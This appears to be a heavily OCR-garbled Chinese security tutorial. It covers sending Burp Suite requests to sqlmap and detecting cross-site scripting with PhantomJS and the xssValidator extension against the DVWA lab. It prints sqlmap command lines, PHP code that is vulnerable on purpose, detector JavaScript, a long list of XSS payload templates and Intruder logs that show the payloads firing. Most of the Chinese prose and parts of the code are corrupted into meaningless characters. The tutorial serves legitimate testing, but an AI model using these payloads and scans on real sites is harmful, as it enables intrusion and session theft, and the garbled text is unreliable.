URL url = analyzeRequest.getUrl();

sb.append (" \n");
sb.append(getNowDate()+" "+url.getProtocol()+"://"+url.getHost()+":"+url.getPort()+"\n");
sb.append("========================= = ===\n");
return sb.toString().getBytes();

¥

* 192 logHEREMESE, RINT -

e

*f
private byte[] createlLogFooter(){
StringBuffer sb = new StringBuffer();

sb.append (" \n\n\n\n");
return sb.toString().getBytes();




[Fi, &0 sqlmap 28R 773, &4 SqimapStarter.java [f155 21 17°4:
public class SqlmapStarter implements Runnable {

@Override
public void run() {
try {
StringBuilder sb = new StringBuilder();
| sb.append("sqlmap.py -1 " + Context.getTempReqName(false)+" --batch -smart"); |
if (isNotBlank(Context.userConfig)) {
sb.append(" " + Context.userConfig);
¥

File batFile = new File(Context.getTempBatName(true));

if (!batFile.exists()) {
batFile.createNewFile();
i

XHE, AT ASCHE EIRAF I ZhEE 1o S IFAIRAS AT LS

SO/ 21RO = R R RN O U

THIEEE, 2% sqimapdburp [ readme 58 SR AR FIECE T UEA, 50 sqimap 18 H
B S, oo AL R AG I .

22 e e n s ER ORI AF R e 2 KX, 4 R B R IE 2 2% url £ SqlMap 314 -

115  http:t/se.360.cn GET Icloud/picinfo.ini J (] 200
116  http:/vconff.360.cn POST Isafe_update @ ] 200
117  http:/s.£.360.cn POST  /scan W (] 200
118  hitp:/ires.ghmsg.com GET /hips/ipopwnd/data-20140222.json... V] [] 200
119 hitp:/10.152.21.21 nitp:/ires.ghmsg.com/hips/po...1959485578911=1&USN=261915039 200
120 hitp:/ig.soft.360.cnl adqdto scope 100
121  hitp:/ig.soft.360.cn Remove from scope 100
122  hitp:/ig.soft.360.cn Spider Gonihers -1 100
hH#n-lln caft 280 ~n 4NN
<Qi Do an active scan —
j Request M Do a passive scan
' Send to Comparer (requests)
_[ Raw | Params | Head Sendto Comparer (responses)

GET send to Sglmap

Tedseee = 421 T FA AT AT A1 _AAar.

A H SRR


https://github.com/difcareer/sqlmap4burp/blob/master/README.md

0 T T T T T T
S R
2 14:09:55 http://res.qghmsg.com:80
B

4 GET http://res.qhmsg. com/hips/popwnd/data-20140222.json?mid-ch58ac3 it
5 Host: res.qhmsg.com
6 Accept: */*
7 Pragma: no-cache
8
T ———
10
1k
12

15 ======================================================

16 GET http://10.152.21.215:8080/push/EntClientPush.cab?t=274&mid=e836cb7f73f030:
17 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

18 Host: 10.152.21.215:8080

19 Accept: */*

20 Connection: Keep-Alive

21 Cache-Control: no-cache

22

sqlmap & A —JA] PLI 2 A4S ur #0] -



| C:\Windows\system32\cmd.exe | o | B e 1

C: e . Psglmap.py —1 C:\Users\ AppDataNLocal\Temp\1480054195903

.req —hatch —smart

{1.0.11.14#dev>

http://sqlmap.oryg

[*] legal disclaimer: Usage of sglmap for attacking targets without prior mutual consent
is illegal. It is the end user’s responsibility to obhey all applicable local. state and
federal laws. Developers assume no liability and are not responsible for any misuse or
damage caused by this program

[*] starting at 14:14:46

URL 1:

GET http://res.qghmsg.com/hips/popund/data-20140222. json?mid=ch5cws
h?2a&status=11&yv =280 0000 "47188r=19500000010211 =1&USN=261 =
do you want to test this URL? [Y/n/qg]

> Y

[14:15:87]1 [CRITICAL] unable to connect to the target URL. sglmap is going to retry the

request(s)

URL 2:

GET http:/,10.152.21.215:8888/push/EntClientPush.cab?t=274&nid=e830uhiana
dle22d5&mac=c80aa%cdd88h&ip=16 " 10V &host =AMCC—OP-3NB528&s1=2016 .11 .2522000:24:55.1&
ver=3.0.0.1546&dn=

»

m




] Burp. PhantomJS 47T XSS #:l

XSS (Eui A E) JeiliE Web BT & LR —, efffRERidE T
Web T BL#H B html AR5S, 4 PRSI0, ik AN H A Web B html A8 24
P AT, MIMIA RS Z T 7 R H 1, ELnsRBUOR i cookie, SR G RE MugE, HEH
KL &5, MR H AT AR, @5 RS XSS, f7iE4! XSS #1 DOM-base #! XSS.
TRSENBR" N, FrENEASE, #RAAEER . REHUEN FERATWHA ST
HI R 248 RIE T HTTP & /it R A URL 241, form & H.. Headers L& Cookies &5, 1H
&, 5 HTTP &/ ol RAER R, SRR T50 . WebServices. A R 2 O 8
FFEE AAER . RIEERSERm NS S AE, 78 XSS Kl 4 FH i 2 (152 sh &4
MEEA: DAL 730, i picss, Bum s, RAREZ). DOM 4, CSS iEHF
WEEERE, SRIGIE & B AAAE XSS IR

AEOEHNEA:

1. XSS il )3 A J 2
2. PhantomJS & XSS & il v iy 4 FH Jgi 3
3. {#iF XSS Validator #Fi3E4T XSS JilF Al

XSS Yl ) 2 A JH 2

— R, FRATATLUEIE XSS i IR B Ak X w2 A . A58 . DOM-base =
b R — A2 A

1. R XSS A filid 45 5 N IR AT S EMAS S5 URL, 2 URL HLEGAT TR,
WA B EAESEA HTML T T i s Ak AL, BAUH sl AR e
Z BBEEA RESIE . BRIERIE R T

H name ZHUMME AN <script>alert(1);</script> , XFEMSEUE AT 5 ARG
AL B, MTIAEAAT . HSRBLIRAS 20 F -



@ Damn Vulnerable Web Application (MA) v1.9Source :: Damn Vulnerable Web Applicatio... @m

" localhost/vulnerabilities/view_source.php?id=xss_r&security=low 9 (1~ ®

XSS (Reflected) Source

<?php L
// Is there any input? -
if( array_key_exists( "name”, $_GET ) && $_GET[ 'name’ ] I= NULL ) { -

// Feedback for end user
echo "<pre>Hello ' . $_GET[ 'name’ ] . '</pre>";

}

7>

2. TEHTL XSS &35 0 A AT A7 BHR e, 2 P P P 186 VG I BT, 0 A
WP T ARE T PR AR AR, SRR R AT T . 2 R
K.

Vulnerability: Stored Cross Site Scripting (XSS)

Name * test_name

;script> alert(1);</script>

Message *

Sign Guestbook

@ Damn Vulnerable Web Application (DVWA) v1.9Source :: Damn Vulnerable Web Applica... E@M

’ (s Alllocalhost/vulnerabilities/view_source php?id=xss_s&security=lo

77 Sermput
$message = trim( $_POST[ 'mtxMessage’ ] );
$name = trim( $_POST[ "txtName']):

// Sanitize message input
$message = stripslashes( $message );
$message = mysql_real_escape_string( $message );

// Sanitize name input

$name = mysql_real_escape_string( $name );

m

// Update database

$query = "INSERT INTO guestbook ( comment, name ) VALUES ("$message’, ‘$name’ );";
$result = mysql_query( $query ) or die( '<pre>". mysql_error() . '</pre>");

; //mysql_close(); -b

HRHE XSS BIRAS J5 R 2 iR 55 28 o 0t 5N B e A 1) ) 28 A A javascript A 3 .
3. DOM-base ! XSS Z57E R U T 3E4T DOM $HAER, A B S i A Bl HTML fi
Mr $AT, M-S 2 XSS Jeil .




PhantomJS 7 XSS il o (R 45 FH J 3

PhantomJS B M. hitp://phantomjs.org, HRTBGHRA 2.1. B2 — 13T WebKit [
i %5 #%ui JavaScript API,  BIZE TG 7 i Yo IR SR A O mT 2B Web 3 Sa 48 D RE 1) SC R
41 DOM 4bEE. JavaScript. CSS iE#%%. JSON. Canvas Fla] il & B SVG & IkE.
BT e HAMIhERE, BEHH T TR

1 RN AR Web li: SCHRHR 2 HESE, 40 YUI Test. Jasmine. WebDriver,
Capybara. QUnit. Mocha

2. UUTH F shAEEAE: A FRHER) DOM AP 8.—1 JavaScript #E42 (1 jQuery) s ] F4 A
Web T

3. BEEEAHIR: AR T I CSS. SVG Ml Canvas 25 G N 2%, BIATSZHLM 44 1€ gt w7 ]
M AR S5 i Web BTE RN, GRS Sa it E R A o

4, WY B TSR IR . BRES DU DN O LA R A S I 42 15 B

AT AR RO FEZE A A PhantomJS $24EH JavaScript API i F M3z ffe &k 810, 7
H FRAE html DU DOM i S 3 A0 H F #AE

7£ Burp Extender [¥] BApp Store F1 45—/~ XSS [ K146 2F XSS Validator, il 2 F)
phantomJS F slimerJS [IX LR, K 5E IRIHAER . R A —&REE MR,

EAGE 2235 H %) xss-detector T-H st N —4> xss.js B3, mife phantomJdS 6 i) B
sz Bl. EARISFERAER, BNBEOT, EARTENL 8093 i )53 T — MR IR,
7 R AR IR -

var DEBUG = true

var system = require('system);
var fs = require(fs’);

// Create xss object that will be used to track XSS information
var xss = new Object();
xss.value = 0;

XSS.msg =
// Create webserver object
var webserver = require('webserver');

server = \Nebsel’vel’. crea teoi

// Server config details



http://phantomjs.org/

2 phantomJS k55 H 3, FAk31E K G RLEE AP £ & KR TR P60 . FERIaathad fE
BE A web e, XSS @it js HESE.

// Initialize webpage to ensure that all variables are
// initialized.
var wp = relnitializeWebPage();

// Start web server and listen for requests
3 var service = server.listen(host + ":" + port, function(request, response) {

|
[FIf, E%E X alert. confirm. prompt 43, i23% XSS #ll{E & .

// Custom handler for alert functionality
wp.onAlert = function(msg) |
console.log("On alert: " + msg);

xss.value = 1;
xss.msg += XSS found: alert(' + msg + ')

wp.onConsoleMessage = function(msg) {
console.log("On console.log: " + msg);

XSS.V--ilUc.‘ = l;
xss.msg += XSS found: console.log(’' + msg + ');

5

wp.onConfirm = function(msg) {
"~ - 1)
console.log("On confirm: " + msg);

XSS.‘V".'ill_lr_.- = 1;
xss.msg += XSS found: confirm(' + msg+');

5

wp.onPrompt = function(msg) {
console.log("On prompt: " + msg);

xss.value = 1;
xss.msg += XSS found: prompt(' + msg+ );

k
XS T js AR A ALTE, 2l S & R B .



// Evaluate page, rendering javascript
| xssInfo = wp.evaluate(function (wp) {
var tags = ["a", "abbr", "acronym’, "address", "applet’, "area", "article", "aside’, "audio”,
var eventHandler = ["mousemove","mouseout”,"mouseover"]

// Search document for interactive HTML elements, and hover over each
// In attempt to trigger event handlers.
tags.forEach(function(tag) {
currentTags = document.querySelector(tag);
| if (currentTags == null){
| eventHandler.forEach(function(currentEvent){
var ev = document.createEvent(' MouseEvents");
ev.initEvent{currentEvent, true, true);
currentTags.dispatchEvent(ev);

b;

// Return information from page, if necessary
return document;

}, wp)j

PR Vit R, FR XSS Validator i phantomJdS % XSS fa il (1) R D 23R T
KT BEATRE AL, FriRIHM &K @rz N AR-Friday HSCEBAFIRIGE R, (LR

Bt http://www.tuicool.com/articles/3emU7n

IR A A Bt 2, iR

2 #intruderi&R » 195

7 S % Bphantonjs
/R R

i g-l:? 79 [mTm] / phantomjs
" i
intruder start i SO A B
: 3 T ol g o L (e Lt i

xssValidator payload 4 ff; 28 intrudersf {4 %

_—

AR IERIEE

--------------- » EEMERRE

webfR5 2

FEAF AR B A LA S A A 5 AT VR Il T 19

1. Intruder f# /i1 7 XSS Validator /] payload 4= piias, #4415 Intruder P& Bxsh & &
Ko 2. FELEXT Intruder KIERITH B HHTEEEAGEE, HAZ phantomjs Ak 55 W T i AT


http://www.tuicool.com/articles/3emU7n

3. xss.js 1HRESLH) web k5545, FEAHE BT, ¥SIN Grep Phrase Frid
4. Intruder ZL1HHR3E Grep Phrase t5 & [X 43 & T A7 £E T i

HRAHfE 1 phantomJS fER I XSS A JE ], A TA T RAE TAES, RIFSLERENL, XiE
ixss.js SCAFREATIEE, Rk 2 2 HATE Ak F TR HEK, AR 7 1FE K
AL i

i ] XSS Validator #4417 XSS i/

A RATIEGE T phantomJS £l xss HIEEA R B, HIAEIRAT—HEKEH XSS Validator #f
PRI

XSS Validator #8141t 22 344K 1H & 7] L@t BApp Store 2238 f1 T T2 mfh 72, T L%

T BTN TR, X EARALIUHE 11 github Hb Bk,
https://github.com/nVisium/xssValidator. ZZEidFEHEH B AR, MRAHE %L, ER

% Burp Sl AR R TS e 5e a0 A AT B s
[?WTW Scanner I Intruder I Repeater T Sequencer T Decoder T Comparer T Extender T Options W xssValidator ]

xssValidator Payloads
Created By: John Poulin (@forced-request) Custom Payloads can be defined here, seperated by linebreaks.
Version: 1.3.0 ‘@ {JAVASCRIPT} placeholders define the location of the Javascript function.

@ {EVENTHANDLERY} placeholders define location of Javascript events,

xssValidator is an intruder extender with a customizable list of payloads, that couples such as onmouseover, that are tested via scriptable browsers.

with the Phantom.js and Slimer.js scriptable browsers to provide validation

of cross-site scripting vulnerabilities. <script={JAVASCRIPT}</script>

<scr ipt={JAVASCRIPT}=/scr ipt=

“==script={JAVASCRIPT}</script=

@ Download latest version of xss-detectors from the git repository "><script>{JAVASCRIPT}</script-<*

@ Startthe phantom server: phantomjs xss.js 'KSCr!pHJAVASCRIFT}</SCf!D‘)

@ Create a new intruder tab, select Extension-generated payload. FadibbUAVASCRIPTIvaalnb.S

@ Under the intruder options tab, add the Grep Phrase to the Grep-Match panel ASCRIRTRHAVASCRIRTE SSCRIFI

@ Successful attacks will be denoted by presence of the Grep Phrase <scri<script>p{JAVASCRIPT}; discr</scriptipt>

SCRI scnm =PT>{JAVASCRIPT}; /SCR</scnpl lPT
pt={JAVASCRIPT}; </
(JAVASCRIPT)

http://127.0.0.1:8093 "{JAVASCRIPT};
{JAVASCRIPT};
<SCR%00IPT={JAVASCRIPT}</SCR%00IPT>
\"{JAVASCRIPT};//

e Sever Setings MIpHZ70 0118004 <STYLE TYPE="textjavascript™>{JAVASCRIPT} </STYLE>

<<8CRIPT={JAVASCRIPT}//<</SCRIPT>

“{EVENTHANDLER}={JAVASCRIPT}

<<8CRIPT={JAVASCRIPT}//<</SCRIPT>

<img src="1" onerror="{JAVASCRIPT}">

J»|

Getting started:

>hantomJS Server Settings

3rep Phrase fy7sdufsuidfhuisdf

<img src="1" onerror="{JAVASCRIPT}
onerror="{JAVASCRIPT}"
lavascript functions alert console.log,confirm prompt onerror="{JAVASCRIPT}'
onload="{JAVASCRIPT}"
onload="{JAVASCRIPT}
lavascript event handlers <IMG ™><SCRIPT>{JAVASCRIPT}</SCRIPT>">
<IMG “><SCRIPT>{JAVASCRIPT}</SCRIPT>">

L%

EEF MR T REE NS, ANOYISUE XSS JsiF M payload. £ T
Hi, %% T phantomjs fJEAKEC B F EHA IR X BAT LB N 7 b HEAT 4

AR, AR S AR T A R L


https://github.com/nVisium/xssValidator

Extensions TBApp Store | APIs I Options }

The BApp Store contains Burp extensions that have been written by users of Burp Suite, to extend Burp’s capabilities.

Name | Installed | Rating Detail
Random IP Address Header O Yook -
Reflected Parameters (] Pro extension to alocally ing XSS-Detector server, powered by either Phantom.js and/or Slimer.js
Reissue Request Scripter ()
Report To Elastic Search (] Pro extension
Request Randomizer () Before starting an attack itis necessary to start the XSS-Detector servers. Navigate to the xss-detector directory and execute the following:
Retire js O Pro extension $ phantomis xss.js &
SANL Editor ] $ slimerjs slimer js &
SAML Encoder / Decoder (]
SAML Raider O The server will listen by default on port 8093. The server is expecting base64 encoded page r passed via the hitp- , which will
. be passed via the Burp extender.
Sentinel )
Session Auth O Navigate to the xssValidator tab, and copy the value for Grep Phrase. Enter this value within the Burp Intruder grep-match function. Payloads that
Session Timeout Test @] match this Grep Phrase indicate successful execution of XSS payload.
Site Map Fetcher =]
Software Version Reporter O Pro extension
saLiPy o Within the xss-detector directory there is a folder of examples which can be used to test the extenders functionality.
ThreadFix ] Pro extension @ Basic-xss.php: This is the most basic example of a web thatis to XSS. It demonstrates how javascript
WCF Deserializer ] functionality, such as alerts and console logs, do not trigger false-positives.
Webinepedt Connechor = Fo edension e By php: This axss ity that occurs when users attempt to filter input by running it through a single-pass
WebSphere Portlet State D.. O re’;ﬁ =
What-The-WAF g i
WSDL Wizard = @ Dom-xss.php: A basic script that demonstrates the tools ability to inject payloads into javascript functionality, and detect their success.
Wsdler @] .
5 Requires Java version 7
XSS Validator W v

| Refreshlist | { Manual install ...

TEPAT Intruder 2 7, WAZE 41T phantomjs xss.js A 2l xss fll Ak 55, =2 phantomjs
() RSs I o 1o IX AR A TEPAT @ AT 200, 752844 phantomjs ;zz@z} EIINEIE
B ER, SUTEERIT. £ T phantomjs 2R 4E 5 5, WRIRSELAEA S, BAR]
W E, bt http://www.mincoder.com/article/4795.shtml

I )G, AT phantomjs xss.js, &Ml G A ERWT, FRHEMEREE.

D:*zoft zafetool*“Burpsuite_pro*bapps 28275a25374a41Yc?480f58740c1d?81 “"x=zs—detector>phant

omjs xss.js

T R B v, AR S IRA VAR ECERARC &, R 1204 Grep Phrase il
JavaScript functions 5> Z%1: Grep Phrase 125U xxs_result, /E AR lFR E 5% 5k .
JavaScript functions H AT alert, FHAbRHFSR N L. fHTIRATAIE S & W5 45
B ATEBRA RN E S5 R TR

|’ Target T Proxy I Spider I Scanner I Intruder I Repeater T Sequencer T Decoder I Comparer I Extender ] Options ] Alerts IxssValidator ]

xssValidator Payloads

Created By: John Poulin (@forced-request) Custom Payloads can be defined here, seperated by linebreaks.

Version: 1.3.0 ® {JAVASCRIPT} placeholders define the location of the Javascript function
® {EVENTHANDLER} placeholders define location of Javascript events,
xssValidator is an intruder extender with a customizable list of payloads, that couples such as onmouseover, that are tested via scriptable browsers.
with the Phantom.js and Slimer js scriptable browsers to provide validation
of cross-site scripting vulnerabilities. <script={JAVASCRIPT}</script> 2
<scr ipt={JAVASCRIPT}=/scr ipt> M
Getting started: “><script={JAVASCRIPT}</script>

“><script={JAVASCRIPT}</script=<"
"=<script={JAVASCRIPT}</script=
><script={JAVASCRIPT}</script><"
<SCRIPT>{JAVASCRIPT};</SCRIPT=
<scri<script>pt={JAVASCRIPT},</scr</script=ipt>
<SCRI<script-PT>{JAVASCRIPT};</SCR</script=IPT>
crizscr=script=ipt=pt={JAVASCRIPT};</scr=/sc=/script=ript=ipf

“{JAVASCRIPT}"
2hantomJS Server Settings http://127.0.0.1:8093 “{JAVASCRIPT};
{JAVASCRIPT};
<SCR%00IPT>{JAVASCRIPT}</SCR%00IPT=
V" {JAVASCRIPT}; I
<STYLE TYPE="textjavascript™={JAVASCRIPT};</STYLE>
<<8CRIPT={JAVASCRIPT}//<</SCRIPT>
“{EVENTHANDLER}={JAVASCRIPT}
Srep Phrase xss_result <<SCRIPT>{JAVASCRIPT}//<</SCRIPT>
<img src="1" onerror="{JAVASCRIPT}">
<img Sr onerror="{JAVASCRIPT}'
onerror="{JAVASCRIPT}"
Javascript functions alert onerror={JAVASCRIPTY

—— onload="{JAVASCRIPT}"
onload="{JAVASCRIPT}'
<IMG ""=<SCRIPT>{JAVASCRIPT}</SCRIPT>">
<IMG ~><SCRIPT>{JAVASCRIPT}</SCRIPT>">

- Download latest version of xss-detectors from the git repository

@ Startthe phantom server: phantomjs xss.js

@ Create a new infruder tab, select Extension-generated payload

® Under the intruder options tab, add the Grep Phrase to the Grep-Match panel
@ Successful attacks will be denoted by presence of the Grep Phrase

Slimer Server Settings hitp://127.0.0.1:8094

Javascript event handlers nove, onr



http://www.mincoder.com/article/4795.shtml

FeE itz )m, BATHEMRHE Intruder. H%,

&€ Grep Phrase 114

"’ Tntruder attack 97 R ———

Aftack Save Columns

[ Results TTarget T Positions T Payloads Im

w Attack Results
@

M (/] store responses

These settings control what information is captured in attack results.

[/ Store requests

(/] Make unmodified baseline request
Use denial-of-service mode (no results)

|_] Store full payloads

>

Grep - Match

EIS

xss_result

Paste

i

Load ... ]

!

Remove

i

Add

Enter a new item

Match type: (@) Simple string
() Regex

These settings can be used to flag result items containing specified expressions.




%, Intruder [ payload /= i 2 7 2% B Jy xssValidator .
T intruder atiack S P — e e ]

Aftack Save Columns

[ Results TTarget

I Payloads TOptions ]

w Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which
payloads are assigned to payload positions - see help for full details.

Attack type: = Sniper Y.
GET http://10.152.21.215/vulnerabilities/xss_r/?namg= P/Ll.1 2 [ Add ]
Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, 2 ‘ §

image/pipeyg, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint,

application/msword, */* Clear§
Referer: http://10.152.21.215/vulnerabilities/xss_r/

Accept-Lancuage: zh-CN i)
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT &.1; Trident/4.0; SLCCZ; .NET CLR Auto §
2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC £.0; InfoPath.Z; .NET4.0C) —
Accept-Encoding: gzip, deflate Refresh
Host: 10.152.21.215

Cookie: PHPSESSID=dSrgsmem3n0€kgkie9jioftilé; security=low

b
v
T. eal (el | > [Typeasearch term ' 0 matches Clear
1 payload position Length: 650 l

| Results l Target | Positions |ml Options l

@ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various
payload types are available for each payload set, and each payload type can be customized in different ways.

Payload set: [1 @ Payload count: unknown

Payloadtype: Extension-generated  + mwn

(2] Paytoad Options [Extensm]n Select payload generator
This payload type invokes a Burp e}

7 | Selectthe extension-provided payload generator that you
Selected generator: XSS Validator = wantto use. Burp extensions can be loaded using the
Extender tool.

Extension payload generator; Lxsg Validator l;ayloadsE

? Payload Processing
- ok canel |

You can define rules to perform v: '
| Add | ]Enabiea | Rule \—

Edit




WRAR A PP R, T DU ) Intruder SEATRNT . (ERMITR, RATSH 5
RIS B, IRRRIOICE, § alert {5 80947 payload il ih 7775 xss
W . 0 2 B

SyntaxError: Unexpected token ’/’

undefined:67 in setContent
phantomjs://code/xss.js:68 in parsePage
phantomjs://code/xss.js:183

Received request with method type: POST
Processing Post Regquest
Beginning to parse page
URL: http://18.152.21.215http://18.152.21.215/vulnerabilities/xss_»/?name="""><8
CRIPT >alert(299792458)>’
Cookies: PHPSESSID=d?rgsmgm3nBbkgkie?jiobtilb; security=low
yntaxError: Unexpected EOF

undefined:67 in setContent
phantomjs://code/xss.js:68 in parsePage
phantomjs://code/xss.js:183

Received request with method type: POST
Processing Post Regquest
Beginning to parse page
URL: http://18.152.21.215http://18.152.21.215/vulnerabilities/xss_»/?name=<IFRAM
E SRC="f’ onerror="alert(299792458>"></IFRAME>
Cookies: PHPSESSID=d?rgsmgm3nBbkgkie?jiobtil6; security=low

Received request with method type: POST
Processing Post Request
Beginning to parse page
URL: http:/,/10.152.21.215http://10.152.21 .215/vulnerabilities/xss_»r/?name=<{IFRAM
[E SRC="f’ onerror=’alert(299792458>’ ></IFRAME>
Cookies: PHPSESSID=d?rgsmgm3nB6kgkie?jiobtilb; security=low

Received request with method type: POST

Processing Post Request
Beginning to parse page
URL: http://18.152.21.215http://18.152.21.215/vulnerabilities/xss_»/?name=<IMG "/
"UO<SCRIPT >alert (299792458 ></SCRIPT>">
Cookies: PHPSESSID=d?rgsmgm3nBbkgkie?jiobtil6; security=low
On alert: 299792458

A

r ‘ 3
C\Windows\system32\cmd.exe - phantomjs xss.js l:’—\@‘&]

A

[, 7E Intruder FIHAT A L, AT LB xss_result K& F payload FI &I, L

Wi N2 AR SR AR IR IR AR S I e bn (3 T 3ATx T B R X 7 FAb



B Intruder attack 9~ _—————————— s e B et
Attack Save Columns
| [ Resuits | Target | Positions | Payloads | options |
| Filter: Showing all items ‘ @
Request 4 | Payload |Status | Emor | Timeout | Length [xss_result | Comment |
0 200 O [ s701 O baseline request E
N1 =<script=alert(299792458)</s... 200 D D 5741 @
2 <script=alert(299792458)</... 200 D D 5733
3 "=<script=alert(299792458)... 200 D D 5743 J
4 "=<script=alert(299792458)... 200 C] C] 5745 M
5 ><script-alert(299792458)<... 200 o [ 5743 ]
6 ==gcript=alert(299792458)=... 200 D C] 5745 @
T4 <SCRIPT=alert(299792458),... 200 D D 5742 M
8 =scri<script=pt=alert(29979... 200 O O 5749 O
9 <SCRI=script-PT>alert(299... 200 O [ 5749 O |
110 <scri<scr<script=ipt=pt=alert.. 200 1 [1__ 5766 1 ¥
Request Response ]
_[Raw} Headers T Hex IHTML T Render ]
A
</div>
</div>
</body>
o e —
L4
? < + > | | Type a search term 0 matches ||
Finished @|

i DL E A2, BATTR PhantomdS il xssValidator #£ XSS Jw 3l & 77 T 1A A T
IR NPT Mo ESLBRM A F, T xss AR E &M, AR AENT payload #tRets
MR, &R TR EEE 3 OB, B BRI R INE, RENHAGESE Jrs
IEMEA . SCE G R RN A, BOGEBEE ] DL — 0. Stik. AR, A
IR B, W R R 45 TR t0data@hotmail.com,  FR 4R B ZE A 5 152 B .

FEAHEE 2 1.Server-Side-XSS-Attack-Detection-with-ModSecurity-and-PhantomJS 2. 4147]

it T U2 ok web 32 H ) XSS Tl
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https://www.trustwave.com/Resources/SpiderLabs-Blog/Server-Side-XSS-Attack-Detection-with-ModSecurity-and-PhantomJS/
https://t0data.gitbooks.io/mysecuritybook/content/chapter1.html
https://t0data.gitbooks.io/mysecuritybook/content/chapter1.html
https://t0data.gitbooks.io/mysecuritybook/content/chapter1.html
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https://zhuanlan.zhihu.com/p/22302904
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